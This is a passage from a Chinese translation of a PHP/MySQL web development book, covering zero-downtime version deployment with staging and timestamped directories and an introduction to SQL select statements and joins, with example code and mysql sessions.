- EC2、Azure、Rackspace 和 Google 都提供了虚拟机(IaaS ),在容量和操作系统选择方面有很多选项。如果您升级到多台服务器,它们也都具有负载平衡功能。
- 所有虚拟服务器的成本都差不多,至少对于我的适度需求来说是这样。您可能会发现它们之间的细微差别,这取决于您如何设置它们以及您使用什么资源。
- 用 Ubuntu 下载和安装 LAMP 栈并不太难,但是您可能不得不摆弄安全组、端点和密钥对文件。您还需要知道如何编辑 Apache 配置文件,但无论如何这是一项有用的技能。
- Rackspace 比 EC2 或 Azure 更容易设置,据说它有很好的支持,所以如果你是新手,它可能是最好的选择。Azure 提供 90 天免费,亚马逊提供一年。
云服务器不像商业共享主机服务那样容易上手,商业共享主机服务已经为你设置好了,但是云服务器提供了对服务器的完全控制,如果你有技能利用它,或者如果你想发展这些技能,这将带来巨大的好处。
底线:如果你有一个重要的应用,使用虚拟机(IaaS)。封闭的 PaaS 系统最终会阻止你让你的应用按照你想要的方式工作。
安装新版本
假设您已经开发了您的 PHP/MySQL 应用,将它上传到生产服务器,在那里进行测试,并向乐于使用它的用户开放。您已经在您的开发系统上开发了一个新版本,现在是时候上传该版本进行测试和发布了。你是怎么做到的?有几种错误的方式,和往常一样,至少有一种正确的方式。首先,错误的方式。
做错了
安装新版本的一种方法是关闭服务,用一个只输出 HTML 页面的文件替换主index.php
文件,说明服务不可用,上传新版本,主页面暂时命名为index-new.php
,然后,一旦它被签出,将其重命名为index.php
,使应用再次可用。这是可行的,但是在你准备好新版本的时候,让应用退出服务可能是不可接受的。这不是 1970 年的大型机应用,而是万维网!
另一个想法是把新版本上传到正在运行的版本上,而不是先在服务器上测试。这有两个问题。
- 你不能跳过服务器上的测试。它和你当地的开发体系有太多的不同。很多事情都可能出错。
- 由于上传文件至少需要 10 秒或更长时间,任何运行该应用的人都会看到新旧文件的混杂。他们得到什么系统是不确定的。你更希望他们运行你设计的东西。
您可以通过上传到一个不同的顶级目录来解决第一个问题,比如说一个名为stage
的目录。假设生产目录名为prod
。在stage
测试完新版本后,你把prod
改名为prod-old
,把stage
改名为prod
。听起来相当不错,它解决了无法在生产服务器上测试新版本的问题,但仍然有两个问题,一个明显,一个不明显。
- 虽然重命名几乎是瞬间完成的,但是仍然有可能有人在
prod
已重命名而stage
尚未重命名的情况下访问应用,这会给他们一个 404(“未找到”)错误。 - 尽管你已经在应用中不厌其烦地只使用相对文件引用,但它们仍然会得到新旧页面的混杂。
下面是对第二个问题的解释:在 PHP 中,一个类似
require_once 'file.php'
被视为相对于封闭脚本的目录,或者,如果在那里找不到,则被视为相对于当前目录。(通常在*nix 系统中,比如从 shell 中,相对路径总是相对于当前目录。)但是对于 HTML 来说就不是这样了,如果你有类似
<a href='file.php'>link</a>
HTML 是在浏览器中处理的,在客户端,而不是在服务器上,没有文件或当前目录的概念。(客户端操作系统可能有一个当前目录,但浏览器会忽略它。)在浏览器中,相对路径是相对于浏览器在请求中使用的 URL,该请求产生它正在处理的 HTML。此 URL 通常显示在浏览器窗口顶部的 URL 字段中。
例如,假设浏览器正在显示 URL
http://basepath.com/ClassicCameras/login.php
该页面包含以下 HTML 片段:
<a href='signup.php'>Sign up for new account</a>
浏览器不会在login.php
的父目录中寻找signup.php
。它对login.php
一无所知,也不知道它在哪个目录下。它只知道它请求了显示在其 URL 字段中的 URL,并且有一些 HTML 通过网络传输过来。因此,它所能做的就是字符串操作:获取那个 URL,用signup.php
替换最后一个组件,并发出另一个请求,这次是
http://basepath.com/ClassicCameras/signup.php
我知道这看起来很迂腐,因为看起来发生的事情和在父目录中查找是一样的,但真正发生的是一个全新的绝对 URL 导致了对另一个 HTML 页面的请求。
那么,我的观点是什么?只是如果你在一个会话还在页面间导航的时候把目录prod
改成了prod-old
,那么这个会话将不会停留在它之前所在的那个树中,这个树现在被命名为prod-old
。它将切换并开始从新目录prod
获取页面,因为prod
位于它用来形成 URL 请求的 URL 中。
为了证明这一点,我在我的网站上放了两个目录,dir1
和dir2
。每个都包含file1.php
和file2.php
两个文件,但四个文件的内容不同,如图图 3-14 所示。
图 3-14 。两个目录,每个目录包含两个文件
现在,如果我在我的浏览器中输入 URL http://localhost/dir1/file1.php
,我会得到图 3-15 左侧窗口中显示的内容,这就是你所期望的图 3-14 中显示的内容。
图 3-15 。浏览器中显示的两个 HTML 页面
然后,如果我点击链接,我会看到图 3-15 中右边显示的内容。现在我点击返回按钮回到第一个窗口,再次显示在图 3-16 左侧。
图 3-16 。浏览器中显示的另外两个 HTML 页面
假设这是应用的版本 1,放在目录dir1
中。我现在准备在目录dir2
中安装版本 2,我一直在测试它。我巧妙地通过重命名目录来安装新版本,而不是通过复制文件这种愚蠢的方式。
mv dir1 dir1-old
mv dir2 dir1
我的用户从版本 1 开始,看着图 3-16 中左边显示的窗口,点击链接,得到右边显示的内容。这是第二版页面!上面写着dir2
,2 版也是这么写的。(再次查看图 3-14 。)为什么?因为当浏览器看到指向file2.php
的链接时,它会产生一个包含dir1
的 URL,并将其发送给服务器。这时我已经更改了目录名,并且dir1
包含了dir2
曾经包含的内容。关键是浏览器没有停留在原来的目录内,现在改名为dir1-old
。它有效地切换到了新的目录,从而切换到了新的版本。
如果你再看看图 3-15 和图 3-16 ,尤其是显示在小窗口顶部的网址,看起来没什么奇怪的。两次都是从dir1
的file1.php
到dir1
的file2.php
的链接。错误在于认为它会神奇地留在同一个目录中。但是,当所有的浏览器都必须处理组成它所请求的 URL 的字符串时,这怎么可能呢?
因此,重命名目录并不比在运行的版本上复制好多少。别忘了,在重命名期间,一些不幸的用户可能会得到 404 错误。
哎呀!您不能关闭应用,不能复制文件,也不能重命名生产目录。你到底是怎么安装第二版的?继续读。
做正确的事
下面是如何安装新版本:当你上传第一个版本到服务器进行测试时,它会进入一个名为stage
的目录,即暂存目录。当你准备好部署它的时候,你给stage
一个新的唯一的名字,比如说v1366988331
。那是你给用户的网址。(其实送给用户太诡异了,但是忍着点;我会尽快解决这个问题。)用户可以永远和以前的v1366988331
呆在一起,因为你永远不会把它拿走。好吧,如果你关心它占用的空间,也许一周之后,但是这个想法是用户可以完全在v1366988331
完成他或她的会话。
一旦你将stage
重命名为v1366988331
,你就将v1366988331
的内容复制回stage
,它已经不存在了,因为你重命名了它。这只是为了让您有一个临时目录可以使用。因为除了开发人员没有人使用stage
,所以复制需要多长时间或者它是否是原子的并不重要。如果需要一两分钟,你不在乎。
你开发下一个版本,把它全部或部分上传到stage
上,你认为合适的话,测试它,最终决定是时候部署它了。你制定了另一个独特的名字,这一次,说,v1366988366
。请注意,这是一个更大的数字,意味着更新的版本。这很重要,你必须确保这些数字是这样生成的。这次您将stage
重命名为v1366988366
,然后像以前一样,将v1366988366
复制回stage
。
现在,在某种程度上,我将很快解释,启动会话的用户将获得最新版本。任何仍在旧版本中处理页面的人仍然可以不受干扰地这样做,因为您从未接触过那个目录。
与我之前展示的混乱命名相比,它的不同之处在于,您没有重命名生产目录,因此您可以重用生产名称。您不断生成新名称,唯一被重命名的目录是stage
。
好的,明白了吗?现在我将把它合并到一些简单的 PHP 文件中,让它自动工作。顶层文件命名为index.php
;和往常一样,这是任何使用公共 URL 的人默认都可以访问的。这就是为什么那些v…
的名字并不重要。它会计算出将用户传递到哪个版本。因为应用中的所有链接都是相对的,用户将停留在他或她开始时的版本中。文件index.php
不在一个版本中,但也不必在,因为它的内容永远不需要改变。图 3-17 显示了目录布局,可以看到index.php
在任何版本之外。(我将很快解释类似定位的install.php
文件。)
图 3-17 。暂存和版本目录
清单 3-3 显示了所有应用的顶层 PHP 文件index.php
。
清单 3-3 。通用顶级 PHP 文件
$code_dir = 'stage';
if (empty($_REQUEST['stage'])) {
foreach (scandir('.', 1) as $f)
if (preg_match('/^v[0-9]{10}$/', $f)) {
$code_dir = $f;
break;
}
}
require_once "$code_dir/login.php";
变量$code_dir
将保存版本目录,或者是stage
,如果参数stage=1
出现在 URL 上,这将在测试期间出现,或者是最新的v...
目录。为了找到最新版本,它会扫描index.php
所在的目录,以找到编号最高的目录。然后在循环之后,它引入一些 PHP 代码,这样就可以向用户呈现一个正确的初始页面。注意,login.php
的内容在一个版本或暂存目录中,这是我们想要的,因为它很可能必须从一个版本改变到另一个版本。由于index.php
中没有 HTML,它可以保持不变。
你必须编写login.php
,这样它就可以嵌入到index.php
中或者独立运行,在它自己的 URL 中。在第一种情况下,浏览器显示的是应用目录,这里是MyApp
。在第二种情况下,浏览器位于版本或暂存目录中。HTML 中的相对引用必须双向工作。我稍后将展示您如何做到这一点的细节。
为什么我使用require_once
引入login.php
而不是改变头,这是将一个 PHP 文件传递到另一个文件的更常见的方式?即,如下所示:
header("Location: $code_dir/login.php");
如果我这样做了,用户在浏览器 URL 字段中输入的类似于http://basepath.com/MyApp
的 URL 将被替换为指向login.php
的 URL,因为位置头是由浏览器处理的,而不是服务器。键入的 URL 会立即被替换为类似
http://basepath.com/MyApp/v1366988366/login.php
并且用户永远不会有机会将公共 URL 拖动到书签。当用户进入应用时,带有v1366988366
的内部 URL 仍然会出现在浏览器中,但这没关系——用户已经习惯了复杂的 URL 出现在浏览器中。(看看亚马逊产生的怪物。)它只是我们希望保持干净的初始公共 URL。
用户保存其中一个内部 URL 以备后用并没有太大的危险,因为,正如我在本书后面所展示的,除了那些可被注销用户使用的文件之外,所有 PHP 文件都要求它们在一个 PHP 会话中,而获得一个会话的唯一方法是以login.php
开始。用户仍然可以保存内部书签,但它们是不可操作的,所以他们会学会不去打扰。
继续这个例子,清单 3-4 显示了一个login.php
存根文件。
清单 3-4 。登录存根
<!DOCTYPE html>
<html>
<head>
<title>Login Page</title>
</head>
<body>
<h1>Login Page Stub</h1>
<p>[login form goes here]
<p>
<?php
$dir = empty($code_dir) ? '' : "$code_dir/";
echo "<a href='{$dir}start.php'>Login</a>";
?>
</body>
</html>
通常,在允许执行到start.php
之前,会有一个登录表单和检查用户名和密码的处理,但是在这个存根中,表单丢失了,用户所要做的就是单击Login
链接。如果该文件嵌入在清单 3-3 所示的index.php
文件中,则$code_dir
被定义并用于形成链接的相对引用中,因为解析该相对引用的浏览器位于应用目录中(图 3-17 中的MyApp
)。但是,如果从应用内部直接调用login.php
,浏览器的 URL 位于版本或暂存目录,因此相对引用是普通的start.php
。正如我所说的,login.php
是唯一需要这种处理的文件。文件start.php
和所有其他应用文件都不会。
如果您的应用不需要登录,或者您有一些第一个屏幕而不是登录页面,该怎么办?好的,没问题。把login.php
换成你喜欢的。重点是,第一页必须嵌入到index.php
中,并且可以直接访问。
为了验证应用中的页面确实在它们的目录中,清单 3-5 和 3-6 显示了另外两个页面:一个起始页(start.php
,链接到 from login.php
,另一个页面,链接到 from start.php
。
清单 3-5 。起始页存根
<h1>Start Page Stub</h1>
<?php
echo "<p>PHP_SELF: {$_SERVER['PHP_SELF']}<p>";
echo "<p><a href='another.php'>Another</a>";
?>
清单 3-6 。另一页存根
<h1>Another Page Stub</h1>
<?php
echo "<p>PHP_SELF: {$_SERVER['PHP_SELF']}";
echo "<p><a href='start.php'>Start</a>";
?>
现在,这是 MyApp 在我的开发系统上的应用。应用 URL 调出登录页面,如图图 3-18 所示。请注意浏览器访问的 URL,这是 NetBeans 在开发过程中使用的 URL。
图 3-18 。登录页面存根运行
正如我所说的,有了这个存根,你所要做的就是点击Login
链接登录,这将带你到起始页,如图 3-19 所示。现在来看看 URL,它表明应用在临时版本中。
图 3-19 。开始运行页面存根
点击Another
链接进入另一个页面,仍然是暂存版本,如图图 3-20 所示。
图 3-20 。另一个页面存根正在运行
假设 MyApp 已经过测试,可以部署了。目录stage
被重命名为版本目录,因此index.php
将转到那里,除非指定了参数stage=1
,就像在开发期间一样。install.php
程序位于应用目录中,如图图 3-17 所示,在清单 3-7 中。
清单 3-7 。版本安装程序
echo "<p>Installing production version";
$dir = 'v' . str_pad(time(), 10, '0', STR_PAD_LEFT);
if (!rename('stage', $dir))
die('<p>Rename failed');
copy_dir($dir, 'stage');
echo "<p>Production version installed ($dir)";
function copy_dir($from, $to) {
@mkdir($to);
$d = dir($from);
while (($f = $d->read()) !== false)
if ($f[0] != '.') {
$from_path = "$from/$f";
$to_path = "$to/$f";
if (is_dir($from_path))
copy_dir($from_path, $to_path);
else if (!copy($from_path, $to_path))
die('<p>Copy failed');
}
}
版本目录由“v”构成,后跟自 1970 年 1 月 1 日以来的时间(以秒为单位),在 2286 年之前一直是十位数,因此按词汇顺序排列版本目录名称也将按版本号顺序排列,这有助于查找最新版本。这就是index.php
程序所做的(清单 3-3 )。
确定版本目录名称后,程序接下来会重命名登台目录。这一个操作就完成了安装,新版本就可以使用了。任何通过index.php
访问应用的用户都将获得该版本。重命名是原子性的,所以用户不可能得到格式错误的目录名。
为了方便开发人员,程序接下来会将新版本复制回一个新的stage
目录,这就是copy_dir
函数的作用。我会让你自己算出这个函数。(提示:当前目录和父目录以句点开头,需要跳过。)
图 3-21 显示install.php
正在运行(注意网址)。
图 3-21 。安装新版本
安装了生产版本后,引用应用目录MyApp
执行index.php
,它选择最新版本,在本例中为v1367077979
。添加stage=1
运行 staging 版本。每当暂存目录中的新版本准备好用于生产时,install.php
安装它,并且index.php
开始引用它。因为版本一直存在,所以没有用户会从一个版本切换到另一个版本。因为安装是通过重命名而不是复制来完成的,所以用户不会得到部分更新的版本。正是我们想要的!
然而,有两个小问题需要解决。首先,我们不希望任何人都运行 staging 版本,如果他们发现世界上每个 PHP 开发人员都读过这本书,并采用我的方法安装新版本,他们就会运行 staging 版本。解决这个问题的简单方法是将stage
参数的值设为某个随机数,而不是 1,然后在index.php
中检查这个数。因此,要运行暂存版本,您必须使用如下 URL
http://basepath.com/MyApp?stage=459810329
第二个问题类似,但是对于install.php
。你不希望任何人都能安装新版本。同样,一个简单的解决方案是需要一个密码作为参数,或者更简单,只需将文件命名为类似于install-83950471.php
的名称,这样就没有人能猜出它的名称。(Apache 应该总是被设置为禁止目录列表,所以名字是不可发现的。)
章节总结
- 三个平台很重要:服务器、客户机和开发。为了方便开发,该平台包含了其他两个平台。
- 服务器操作系统可以是 UNIX 版本(nix)或 Windows。如果是nix,web 服务器一般会是 Apache。如果是 Windows,可以是 Apache,也可以是 IIS,但通常会是 IIS。
- 在本书中,唯一关心的数据库是 MySQL,主要编程语言是 PHP,尽管您还必须处理 HTML、JavaScript 和 SQL。
- 在大多数情况下,支持的重要浏览器是 Chrome、Internet Explorer、Firefox、Safari 和 Opera。
- 由于 Internet Explorer 只能在 Windows 上运行,所以选择 Windows 作为您的开发系统是有意义的,至少对于您团队中的一名成员来说是如此。
- 要处理浏览器和版本变体,使用 jQuery 来掩盖差异,并确保使用所有相关的浏览器和版本进行测试。
- 使用 IDE 进行开发很方便。NetBeans 和 Eclipse 是两个不错的选择,都是免费的,NetBeans 更容易上手。
- 安装 Xdebug 进行调试,安装 PHPUnit 进行单元测试。(也有其他选择。)两者都受 NetBeans 和 Eclipse 支持。
- 使用 Subversion、Git 或 Mercurial 进行版本控制。(也有其他选择。)NetBeans 和 Eclipse 都支持这三者。
- 最简单的生产主机是商业共享主机服务,但是基于云的虚拟机提供了更多的灵活性和性能保证。对于后者,你很可能必须自己安装灯组的放大器部分。
- 要在生产服务器上安装 PHP 应用的新版本,请在一个临时目录中进行测试,然后在准备好部署它时将该目录重命名为一个惟一的版本名。安排应用自动运行最新版本。
四、数据库
。。。总的来说,数据库设计仍然主要是一种艺术努力,而不是科学努力。。。
—C. J .日期,数据库上的日期
联合通常没有得到很好的优化。。。。如果可能,请改用 UNION ALL。
—乔·塞尔科的 SQL 编程风格
永远不要指定全部。
—C. J. Date, SQL 和关系理论
似乎数据库设计是一门艺术,而 SQL 技术则是见仁见智。在这一章中,我试图给你一些指导方针,帮助你掌握这门艺术。你也会得到我对 SQL 的看法。正如您将了解到的,我不像 Joe Celko 那样是 SQL 爱好者,也不像 Chris Date 那样是理论家。不过,我确实知道如何构建应用。
除了两个例外,所有的应用都操纵现实 的局部模型。例如,当您运行一个应用来平衡您的支票簿时,您实际上并没有改变您的支票簿,甚至没有改变银行对存款和已结清支票的想法。你只是在操作一个计算机化的支票登记簿,它是应用对你的财务状况的模型,准确与否。或者,当您到 Amazon 的网站寻找要购买的书时,您只看到每本书的模型,由封面、书名、作者姓名、价格、评论等图像表示。这本书本身——现实——就在亚马逊的一个仓库里。(电子书让我的例子有点偏离,我知道。)
这两个例外都与 PHP/MySQL 应用没有太大关系,它们是操纵现实世界的实时控制应用和操纵非现实模型的程序(例如,发生在某个虚构的遥远星球上的视频游戏)。前几天,我在用一个实时应用给我和女儿组装的乐高思维风暴机器人编程。我犯了一个错误,差点把它从桌子上弄下来,把放它进来的大盒子撞到了地板上。那真的发生了——不仅仅是我在电脑屏幕上看到的!但是 PHP 既不适合实时控制,也不适合视频游戏,所以我将讨论的唯一应用是那些操纵现实模型的应用。
如果模型值得保留,那么它需要存储在某个地方,通常是在运行应用的计算机的磁盘上。对于许多应用来说,比如一个电子表格或者一个字处理器,就像我现在正在使用的,一个文件就可以了。但是如果模型有任何结构,可以变得很大,并且可以被几个用户同时访问,那么最好使用数据库。
这就引出了数据库的定义:数据库是现实的一个持久的局部模型,可以被应用操纵。应用不是直接操作数据库,这很复杂,必须恰到好处地避免损坏数据,并且必须相当快,而是处理一个称为数据库管理系统(DBMS)的中间程序。在本书中,数据库管理系统是 MySQL。
这一章是关于如何设计一个适合应用需求的逻辑数据库,如何在 MySQL 中物理地实现它,以及如何用 SQL 连接它。在第五章中,你会发现如何从 PHP 连接到它的机制。
关系数据库
数据库可以使用几种方法来排列构成模型的数据,其中最流行的方法被称为关系型,因为数据保存在数据库理论中称为关系的表中。这种表格的每一列构成一个属性,或字段。每一行都是一个字段的集合,我们认为是一个记录。例如,employee 表中有雇员编号、姓氏、名字、电话号码等列,每个雇员对应一行(或一条记录)。类似地,可能有一个部门表,其中包含部门编号和名称等列,每个部门占一行。
在关系方法中,每个表都是完全独立的;没有从一行数据到另一行数据的指针,这在计算机程序内部使用的数据结构中是常见的,例如树和链表。但是,这并不意味着您不能将数据项存储在引用另一个表中的行的行中,例如存储在雇员行中的部门号,它指示雇员所在的部门。但是,在关系方法中,这样的引用不是指针——它只是两个表碰巧共有的数据项。
使用关系方法的 DBMS 称为关系 DBMS (RDBMS),这就是 MySQL。PostgreSQL 也是如此,它是另一种流行的开源 DBMS,还有大家伙:SQL Server、Oracle 和 DB2。甚至最流行的嵌入式 DBMS SQLite 也是关系型的。
情况并非总是如此。当我在 20 世纪 70 年代开始接触数据库时,关系数据库非常新,效率低得令人绝望,难以使用,而且大多数是研究项目。IBM 的旗舰商业数据库 IMS 使用了层次化的方法,至少在贝尔实验室,数据库专家们迷恋于网络数据库,它比 IMS 强大得多。随着时间的推移,关系型方法取而代之,层次型和网络型方法现在只存在于历史书和大公司运营的遗留系统中。
对于非常频繁使用的数据库应用,如亚马逊、脸书和网飞,即使是运行在最快硬件上的最成熟的 RDBMS 也太慢,而且几乎不具备足够的可伸缩性来满足这些网站的需求。用第三章中的术语来说,他们已经尽可能扩大了(更大的服务器),任何进一步的增长都必须来自于向外扩展(更多的服务器),但是关系数据库很难跨服务器分布。他们的答案是放弃最常访问的数据的关系方法,使用更简单、更容易分发的方法。这些被称为 NoSQL 数据库,但我不会在本书中涉及它们。**
**结构化查询语言
您可能已经知道,SQL 是用于定义、查询和修改关系数据库的语言。如果您想在 PHP 中做这些事情,您可以通过从 PHP 向数据库发送 SQL 语句来完成。我将在这里解释 SQL,可能你已经知道了,但是你可能喜欢阅读我的方法,因为它不同于 SQL 的典型解释方式。
一些历史
最初,关系数据库的发明者 E. F. Codd 提出了关系代数和关系演算来处理关系。Codd 工作过的 IBM 的其他研究人员提出了一种基于关系演算的语言,在较小程度上也基于关系代数,现在被称为 SQL。(发音是 S-Q-L,不是“续集”。)SQL 与关系数据库的联系如此紧密,以至于它们有时被称为 SQL 数据库,而且,在许多情况下,如 MySQL,这些字母甚至出现在名称中。
关于术语:SQL 所谓的表、列和行被称为“关系”(关系数据库由此得名)、“属性”和“元组”这种对应不准确;例如,关系必须有一个主键,必须对属性或元组(它们是集合)没有顺序,并且不能有重复的行。这些事情对表格来说都不是真的,尽管在设计和思考表格时把它们当成真的是个好主意。也就是说,不要假定列和行的顺序,并且总是有一个主键。在本书中,我主要使用 SQL 术语。从应用的角度来看,列就像一个字段,行就像一个记录,但是这些术语并不在 SQL 中使用。
我将在这里提供 SQL 的概念性概述,目的是解释它的重要思想,而不是它的所有子句、操作符和函数。我会推荐一些书和其他资源,你可以去那里了解所有的细节。
SQL 语句
SQL 有几种语句。
- 用于检索数据的
select
语句,有许多子条款和选项, - 修改数据的语句:
insert
、update
、delete
, - 用于定义数据的语句,所谓的数据定义语言(DDL) ,如
create table
和alter table
, - 用于控制访问的语句,如
grant
和revoke
,称为数据控制语言(DCL) ,以及 - 其他杂项声明。
数据修改语句加上select
被称为数据操作语言 (DML)。所有的 SQL 语句都很容易学习和使用,除了select
,这两个都很难。
Select 语句的作用
一个select
语句定义了一个虚拟表。该声明有以下四个部分:
- 所需的列,可以是所有可用的列,也可以是您指定的特定列(也称为投影),
- 要处理哪些表来为虚拟表提供数据,
- 要选择哪些行,以及
- 如何对行进行排序。
(在我的解释中,我将跳过与结果中的行分组相关的两个子句,group by
和having
。)
各部分按照我列出的顺序出现在一个select
语句中,但这不是思考它们的最佳方式。图 4-1 是更好的图片,显示select
更像一个工厂。
图 4-1 。选择语句工厂
正如图 4-1 所暗示的,连接(从漏斗中出来)产生的虚拟表中的任何列都可以用于过滤行(where
子句),但是只有选择的列(列在单词select
之后)可以用在order by
子句中。一些 SQL 实现允许在order by
子句中使用表达式,但这不是一个好主意,因为无论结果如何排序,都应该显示为数据。
下面是一个select
陈述的印刷外观,斜体字短语对应于四个部分。
select column-specification from table-specification where conditional-specification order by order-specification
不需要的话可以省略where
和order by
子句。如果您不想指定列,而只想全部指定,那么您可以使用一个*
来指定列。因此,键入到mysql
命令中的最简单的select
语句的例子是
mysql> select * from department;
+---------------+------------+
| department_id | name |
+---------------+------------+
| 1 | Accounting |
| 2 | Shipping |
| 3 | Sales |
+---------------+------------+
这里的结果与实际的表相同,但是如果我只指定了name
列,那么它就是虚拟的,因为它是由select factory
捏造的,并不真正存在于数据库中。
mysql> select name from department;
+------------+
| name |
+------------+
| Accounting |
| Shipping |
| Sales |
+------------+
这里有一个where
子句,它在一个简单的正则表达式(模式)中使用了like
操作符。
mysql> select name from department where name like 's%';
+----------+
| name |
+----------+
| Shipping |
| Sales |
+----------+
同样,它是一个比计算它的基表更窄(更少的列)和更短(更少的行)的虚拟表。
添加一个order by
子句,就可以对结果行进行排序。
mysql> select name from department where name like 's%' order by name;
+----------+
| name |
+----------+
| Sales |
| Shipping |
+----------+
带有order by
子句的select
语句的结果是有序的,因此它显然不是数学集合,而所有关系都是。这就是 SQL 处理表而不是关系的一个原因。
连接表格
像department
一样,select
的表规范部分比仅仅是表名要复杂得多。假设我们也有一个employee
表。
mysql> select * from employee;
+-------------+---------------+----------+-------+
| employee_id | department_id | last | first |
+-------------+---------------+----------+-------+
| 1 | 2 | Smith | John |
| 2 | 2 | Jones | Mary |
| 3 | 1 | Gonzalez | Ivan |
| 4 | NULL | Chu | Nancy |
+-------------+---------------+----------+-------+
我们可以组合来自department
和employee
表的数据,这样它们就可以出现在一个虚拟表中,利用它们的公共列department_id
。这称为连接,执行连接的 SQL 操作符称为join
。如果不加入,关系数据库比文件集合好不了多少。
有不同类型的连接。我先从一个交叉连接开始,它是两个表的叉积;也就是说,生成的虚拟表包含两个表的所有列,第一个表的每一行都在第二个表的每一行旁边。如果第一个表有 15 列 100 行,第二个表有 20 列 600 行,结果将有 35 列(15 + 20)和 60,000 行(100 * 600)。清单 4-1 显示了一个小得多的结果,来自于department
和employee
表的交叉连接。
清单 4-1 。部门和员工表的交叉连接
mysql> select * from department cross join employee;
+---------------+------------+-------------+---------------+----------+-------+
| department_id | name | employee_id | department_id | last | first |
+---------------+------------+-------------+---------------+----------+-------+
| 1 | Accounting | 1 | 2 | Smith | John |
| 2 | Shipping | 1 | 2 | Smith | John |
| 3 | Sales | 1 | 2 | Smith | John |
| 1 | Accounting | 2 | 2 | Jones | Mary |
| 2 | Shipping | 2 | 2 | Jones | Mary |
| 3 | Sales | 2 | 2 | Jones | Mary |
| 1 | Accounting | 3 | 1 | Gonzalez | Ivan |
| 2 | Shipping | 3 | 1 | Gonzalez | Ivan |
| 3 | Sales | 3 | 1 | Gonzalez | Ivan |
| 1 | Accounting | 4 | NULL | Chu | Nancy |
| 2 | Shipping | 4 | NULL | Chu | Nancy |
| 3 | Sales | 4 | NULL | Chu | Nancy |
+---------------+------------+-------------+---------------+----------+-------+
重要的是要认识到这种连接是无用的,甚至是误导的,因为盲目地将行配对是没有意义的。然而,请看第二行,其中两个department_id
值(来自department
和employee
表)恰好是同一个数字(以粗体显示)。该行包含一个事实:John Smith 从事运输工作。事实上,所有这两列相等的行都是有用的,其他的行都是无用的。我们应该做的是一个内部连接,其中我们从每个表中指定一个在结果表中相等的列,导致其他列被跳过。即如下:
mysql> select * from department inner join employee
-> using (department_id);
+---------------+------------+-------------+----------+-------+
| department_id | name | employee_id | last | first |
+---------------+------------+-------------+----------+-------+
| 2 | Shipping | 1 | Smith | John |
| 2 | Shipping | 2 | Jones | Mary |
| 1 | Accounting | 3 | Gonzalez | Ivan |
+---------------+------------+-------------+----------+-------+
(如果你有一个using
或on
从句,你可以跳过inner
这个词,我会一直这样做。除了本章中的例子,我从不使用交叉连接。我将很快介绍一些其他有用的连接类型。)
现在我们有了一个事实信息表,至少在模型反映真实世界的范围内。记住,数据库只是模型。
我们在本书中做的每个连接,以及我在任何应用中做过的每个连接,都将是一个等价连接,这意味着连接列是相等的,尽管连接条件可以是一个更复杂的表达式(例如,使用像<
这样的操作符)。
如果没有雇员和部门编号的混乱,更容易阅读的结果将是以下按姓氏排序的结果:
mysql> select last, first, name from department join employee
-> using (department_id) order by last;
+----------+-------+------------+
| last | first | name |
+----------+-------+------------+
| Gonzalez | Ivan | Accounting |
| Jones | Mary | Shipping |
| Smith | John | Shipping |
+----------+-------+------------+
回到清单 4-1 中的交叉连接,查看最后三行,可以看到 Nancy Chu 不在任何部门(可能她是新员工,或者退休员工,或者大老板)。但是在前面的两个内部连接示例中都没有看到这个事实,原因是任何包含空值的条件都不会为真。然而,可以通过指定一个右外连接来获得这些行,之所以这样叫是因为它保留了右边表中的所有行,即使左边表中没有匹配的行,在这种情况下会提供空值。单词“outer”可以省略,所以它也称为右连接。在这里。
mysql> select last, first, name from department
-> right join employee using (department_id) order by last;
+----------+-------+------------+
| last | first | name |
+----------+-------+------------+
| Chu | Nancy | NULL |
| Gonzalez | Ivan | Accounting |
| Jones | Mary | Shipping |
| Smith | John | Shipping |
+----------+-------+------------+
如果我们将employee
表放在连接操作符的左边,将department
表放在右边,我们将会做一个左连接,因为左边的表将会被保留。
有时会有两个以上的连接。假设部门被分组为分部,并且您有一个定义了两个分部的division
表。
mysql> select * from division;
+-------------+------------+
| division_id | name |
+-------------+------------+
| 1 | Operations |
| 2 | Product |
+-------------+------------+
为了扩展示例,我将 Jane Doe 添加到销售部门,并将一个division_id
添加到department
表。
mysql> select * from employee;
+-------------+---------------+----------+-------+
| employee_id | department_id | last | first |
+-------------+---------------+----------+-------+
| 1 | 2 | Smith | John |
| 2 | 2 | Jones | Mary |
| 3 | 1 | Gonzalez | Ivan |
| 4 | NULL | Chu | Nancy |
| 5 | 3 | Doe | Jane |
+-------------+---------------+----------+-------+
mysql> select * from department;
+---------------+------------+-------------+
| department_id | name | division_id |
+---------------+------------+-------------+
| 1 | Accounting | 1 |
| 2 | Shipping | 1 |
| 3 | Sales | 2 |
+---------------+------------+-------------+
为了获得一个显示每个人所在部门的虚拟表,我可以像以前一样连接employee
和department
表,然后将中间结果与division
表连接,如清单 4-2 所示。department
和division
表都有一个name
列,这很好,因为它对两者(组织名称)有相同的含义,但是我必须在 SQL 中用它们的表名限定它们。否则,我会得到一个错误,因为单独的name
是不明确的。
清单 4-2 。员工、部门和分部查询
mysql> select last, first,
-> department.name,
-> division.name
-> from employee
-> join department using (department_id)
-> join division using (division_id);
+----------+-------+------------+------------+
| last | first | name | name |
+----------+-------+------------+------------+
| Smith | John | Shipping | Operations |
| Jones | Mary | Shipping | Operations |
| Gonzalez | Ivan | Accounting | Operations |
| Doe | Jane | Sales | Product |
+----------+-------+------------+------------+
可以对该查询进行两项改进。
- 为了让 Nancy Chu 出现,她没有部门,我需要使用左连接(以前,因为我有
department
在先,所以它是右连接)。 - 我可以使用一个列别名来区分结果集中带有单词
as
的两个name
列。注意限定列本身(例如,department.name
)是不够的。
清单 4-3 展示了改进后的查询,其中我还添加了一个order by
子句。
清单 4-3 。改进的员工、部门和分部查询
mysql> select last, first,
-> department.name as 'Dept. Name',
-> division.name as 'Div. Name'
-> from employee
-> left join department using (department_id)
-> left join division using (division_id)
-> order by last;
+----------+-------+------------+------------+
| last | first | Dept. Name | Div. Name |
+----------+-------+------------+------------+
| Chu | Nancy | NULL | NULL |
| Doe | Jane | Sales | Product |
| Gonzalez | Ivan | Accounting | Operations |
| Jones | Mary | Shipping | Operations |
| Smith | John | Shipping | Operations |
+----------+-------+------------+------------+
在 PHP/MySQL 程序中,我不会使用类似于'Dept. Name'
的别名,因为查询的结果会发送给程序,而不是运行mysql
命令的终端,别名将作为数组下标,而不是像清单 4-3 中那样作为人类可读的标题。像$row['Dept. Name']
这样的 PHP 表达式很难编写。我改为使用别名department_name
,它反映了出现在select
语句中的限定名department.name
,所以表达式变成了$row['department_name']
。这样就很容易将数组下标与选择列关联起来。
为了加深你对这些 SQL 查询的理解,这里回顾一下清单 4-3 中的一个查询,按照图 4-1 所示的 select 语句工厂。
employee
